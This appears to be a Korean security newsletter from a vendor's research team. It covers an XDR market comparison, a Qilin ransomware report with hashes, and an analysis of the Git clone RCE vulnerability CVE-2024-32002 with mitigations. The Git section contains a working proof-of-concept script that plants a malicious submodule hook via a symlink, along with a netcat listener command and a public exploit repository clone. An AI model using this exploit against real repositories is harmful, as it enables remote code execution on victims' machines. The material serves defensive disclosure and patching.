
EQST(이큐스트)는 ‘Experts,  Qualified Security Team’

이라는 뜻으로 사이버 위협 분석 및 연구 분야에서 검증된

최고 수준의 보안 전문가 그룹입니다.  
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Headline 
  

 

SIEM 기반의 XDR 구축 방안 
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구분 특징 

Open XDR 

✓ Open XDR은 최소화된 파트너(벤더) 종속 

✓ 기존에 구축된 보안 제품과 연계 가능 

✓ 기존의 보안 제품(툴) 교체 없이 구축 및 활용 가능 

Native or Closed XDR 
✓ 단일 공급 업체(벤더)의 보안 장비와 통합 및 연계 가능 

✓ 타 제품과 연동하고 분석하는데 제약 발생 
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구분 목적 대응 범위 운영 접근 방식 

EDR
실시간 엔드포인트 모니터링 및 

고급 위협 탐지

엔드포인트 

장치 및 

호스트

• 조직 내 엔드포인트 실시간 모니터링 

• 엔드포인트 데이터 상관관계분석 

- 악성 행위, 공격 지표(IoA), 침해 지표(IoC), 

시그니처, 머신 러닝

NDR

네트워크 트래픽/사용자 행위 

분석 및 의심스러운 네트워크 

활동 식별/조사

네트워크  

기기 간 

트래픽

• 실시간으로 네트워크 공격 대응 및 차단 

• 사용자 행위 관련 네트워크 비정상 동작 

상관관계 분석 

- 공격지표(IoA), 이상 징후 탐지, 사용자 행위, 

머신러닝

MDR

숙련된 보안 전문가를 통한 

지속적 위협 모니터링/대응 

(24/7 모니터링, 최신 위협 인텔리전스, 보안 

컨설팅,  

보안 컴플라이언스 준수 등)

사이버보안 

전문가 

(모든 환경)

• 위협 탐지 및 대응 아웃소싱 

• 보안 전문가들이 데이터 상관관계 분석 

- 다양한 인터페이스*를 통한 고객 시스템 통합 

(API, 로깅, DataLake 등)

XDR

보안 팀의 모든 환경에서의  

효율적 위협 탐지/대응 지원 

(고급 분석, 머신러닝,  

자동화 등 활용)

엔드포인트, 

호스트,  

애플리케이션,  

네트워크 및  

장치 간 

트래픽

• 다양한 플랫폼에 걸친 자동화된 대응 

• 다양한 소스의 통합 분석 

- 머신러닝, 공격 지표(IoA), 이상 탐지,  

사용자 행위, 악성 행위, 침해 지표
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유형 기업명 솔루션 특징 

Open XDR Stellar Cyber 

• Open XDR 의 대표 기업으로, 솔루션은 Open XDR Platform 과 NG-SIEM4, Threat 

Intel, NDR, IDS & Malware Analysis, SOAR 등으로 구성 

• 클라우드를 포함한 다양한 IT 환경 및 이기종 장비에 대해 광범위한 데이터 

수집 및 분석 가능 
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• 기 구축된 보안 솔루션과 통합 보안 관제 포털 구축, 허니팟 센서 구성을 통해 

외부 공격 팩터를 파악하여 선제적 대응, Cyber Killchain 단계별 위협요소 분석 

및 모니터링 등 가능 

Elastic 

• 2019 년 Endgame 을 인수하여 엔드포인트를 위한 Elastic Security 출시 

• 개방형 플랫폼과 통합된 Elastic Agent 로 수집, 탐지, 방어 즉각 대응 가능 

• 알려지지 않은 멀웨어, 랜섬웨어를 탐지, 차단을 제공하며 호스트 기반 분석을 

통해 APT 공격도 방어 가능 

IBM 

• QRadar XDR 은 공격 표면관리(ASM), 엔드포인트 탐지 및 대응(EDR), 보안정보 

및 이벤트 관리(SIEM), 보안 오케스트레이션∙자동화 대응(SOAR) 등으로 구성 

• 통합된 환경에서 위협 탐지, 추적, 조사 및 대응을 간소화할 수 있도록 

설계되었으며, AI 와 사전 구축된 플레이북을 통해 탐지, 분석, 대응 자동화 

• QRadar XDR Connect 통해 타사 시스템 및 솔루션과 연계하는 개방형 XDR 

생태계 시스템 구축 가능 

Native 

XDR 

CrowdStrike 

• 클라우드 기반의 단일 경량화 에이전트로, 사용률은 1% CPU, 50MB 이하  

• 시그니처 없이 머신러닝을 통해 높은 수준의 정탐율 제공 

• 프로세스 트리를 통한 위협에 대한 가시성 확보 가능 

• 조직 내 Overwatch 팀의 24*365 상시 모니터링과 위협 헌팅팀 전문가의 사이버 

위협 정보와 대응 가이드 라인 제공 

SentinelOne 

• 업계 최초 머신러닝 기반 행동 AI 를 사용하는 엔드포인트 솔루션 출시 

• 파일 실행 전 평판 및 정적 AI 엔진을 사용하여 파일 헤더 기반 분석 지원 

• 악성코드 공격 시작부터 끝까지 관련 모든 행위 상관분석 가능 

• 특허 받은 AI 머신러닝 모델 기반으로 새로운 멀웨어, 변동 멀웨어, 해킹 공격을 

예방∙중지∙치료하며 랜섬웨어 기능을 자율적으로 차단 

• 최근 ChatGPT 기반의 검색 엔진인 Purple AI 를 출시하여 자연어 입력 시 AI 를 

통한 자동 쿼리 생성 기능 제공 

TrendMicro 

• 향상된 확장형 탐지 및 대응(XDR) 기능으로 포괄적인 보호를 제공 

• 생성형 AI 어시스턴트 컴패니언, 제로 트러스트 원칙에 기반한 선제적 공격 

표면 위험 관리(ASRM) 제공 

• 플레이북을 통한 고위험 경고에 대한 자동 대응 가능 

• 보안 벡터간 상관 관계를 통해 사일로를 줄이고 의심스러운 행위, 멀웨어, 

랜섬웨어, 방해 행위 및 기타 중요한 공격을 탐지, 대응 제공 

Paloalto 

Networks 

• 단순 엔드포인트를 넘어 엔드포인트, 네트워크 및 클라우드 전반에 걸쳐 보안 

운영을 개선하는데 집중 

• 자동 공격대응의 Cortex XSOAR, 전체 인터넷 공격 표면 탐색 및 보호를 위한 

Cortex Xpanse 및 통합 AI 기반 SOC 운영 플랫폼인 Cortex XSIAM 제공  

• 전문가 보안 서비스 ‘Unit42’ 로 관리형 보안 서비스인 MDR 을 제공 
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Cybereason 

• 엔드포인트 호스트의 데이터 수집을 통한 행위분석만으로 머신러닝 기술을 

이용해 알려지지 않은 공격을 탐지, 대응이 가능하며 한번의 클릭으로 모든 

공격 단계 치료 가능 

• 맬옵 엔진(MalOP Engine)에 NGAV, EDR 기능을 수행하는 엔드포인트 보호, 

클라우드, 네트워크 공격 보호를 담당하는 확장된 공격 보호, 위협 헌팅, MDR 

서비스를 제공하는 보안 운영 최적화, 디지털 포렌식, 인시던트 대응 서비스를 

제공하는 사고 관리로 구성 

Trellix 

• 보안 이벤트에 대한 상관관계 분석 및 자동화에 집중 

• 엔드포인트에 대한 이벤트까지 모두 수집해 분석 수행 

• 단일 이벤트가 아닌 상관분석(Correlation)된 이벤트를 하나의 위협으로 정확히 

제공함으로써 공격 흐름에 대한 가시성을 제공 

Genians 

• 2021 년 ZDR, NDR 전문 엑사비스와의 투자/사업협력 통해 XDR 사업 확대 

• IOC 탐지(파일), ML 탐지(파일), XBA 탐지(행위), CTI(평판조회)의 Multi-layer 탐지 

엔진으로 구성 

• 사용자의 행위부터 데이터 수준에 이르는 단계적이고 세밀한 가시성 제공 

Ahnlab 

• 위협은 조직의 상황에 따라 위험의 정도가 다를 수 있다는 전제하 효과적인 

리스크(Risk) 관리에 집중 

• 리스크 우선순위 식별과 지수화, 실제 발생했던 시나리오 반영, 신규 시나리오를 

지속적으로 업데이트 해주는 고도화된 리스크 시나리오 룰, 위협 인텔리전스 

기반 내부 영향도 모니터링, 이기종 로그 연계분석 제공 

• 서드파티 솔루션 연동 가능한 오픈 플랫폼 등 지원  
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https://www.skshieldus.com/kor/service/information/info-solution/si.do
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Keep up with Ransomware 
   

 

영국 의료 서비스를 공격한 Qilin 랜섬웨어 

 

◼ 개요 
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■ 랜섬웨어 뉴스 
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■ 랜섬웨어 위협  
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■ 랜섬웨어 집중 포커스 
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인자 설명 

fast [블록 수] 파일의 처음부터 [블록 수] * 32 MB 만 암호화 

skip-step [암호화 크기] [간격] [간격] 마다 [암호화 크기] Bytes 만큼 암호화 

  WinSCP : percent [블록 수] [비율] 파일 전체의 [비율]% 마다 [블록 수] * 32 MB 만큼 암호화 
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6316417fcd979c39a4da672ba3521f62081ff4dfebb868ef65a1f2dff9a738ea 

27f7a332ba10bae9dbc527ea25c787cb1850f0b34295cd49118f040f08f4fe56 

27a91c2e53e9e7bd6a1ccb8b0bed1f954f3011973248e710598a5e7d6c6ed668 

55e070a86b3ef2488d0e58f945f432aca494bfe65c9c4363d739649225efbbd1 

STL.exe 

forigpatch.exe 

file.exe 
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■ 참고 사이트 
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Research & Technique 
    

 

Git Clone 원격코드 실행 취약점(CVE-2024-32002) 

 

■ 취약점 개요 
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■ 공격 시나리오 

 

① 공격자는 악의적인 원격 리포지토리를 구성 

② 피해자는 악성 스크립트가 존재하는 원격 리포지토리를 clone 

③ CVE-2024-32002로 인해 악성 스크립트 자동 실행 

④ 공격자는 악성 스크립트 실행 후 침투하여 피해자의 주요 정보 탈취 

 

■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

Git 
2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.4, 2.40.2, 2.39.4  

이전 버전 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Microsoft Windows 10 version 22H2 

Git 2.45.0.windows.1 

(192.168.216.130) 

공격자 
Kali Linux 

(192.168.216.129) 
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■ 취약점 테스트 

git --version 

 

 

$ nc –lvp {포트 번호} 

 

 

 

$ git clone --recursive {공격자 리포지토리 주소} 
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■ 취약점 상세 분석 
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git config --global core.symlinks true 
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#!/bin/bash 

git config --global core.symlinks true 

 

# 서브모듈 리포지토리 초기화 

git init hook 

cd hook 

mkdir -p y/hooks 

 

# 악의성 스크립트 삽입 (calc.exe 실행) 

cat > y/hooks/post-checkout <<EOF 

#!/bin/bash 

calc.exe 

EOF 

 

# 스크립트 실행권한 부여 

chmod +x y/hooks/post-checkout 

 

# 서브모듈 리포지토리 add 

git add y/hooks/post-checkout 

# 서브모듈 리포지토리 commit 

git commit -m "post-checkout" 

 

cd .. 

 

# 메인 리포지토리 초기화 

git init eqst 

cd eqst 

# 메인 리포지토리 내 서브모듈 추가 

git submodule add --name x/y "/c/dev/hook" A/modules/x 

# 메인 리포지토리 commit 

git commit -m "add-submodule" 

 

# symlink 생성 

printf ".git" > dotgit.txt 

git hash-object -w --stdin < dotgit.txt > dot-git.hash 

printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info 

git update-index --index-info < index.info 

git commit -m "add-symlink" 

cd .. 
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GIT_TRACE=1 git clone --recursive eqst eqsttest 
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git clone --recursive https://github.com/EQSTSeminar/git_rce.git 
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■ 대응 방안  

제품 패치 버전 

Git 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, 2.39.4 이후 버전 

 

 

git config --global core.symlinks false 

 

 

 

 

 

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
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■ 참고 사이트  
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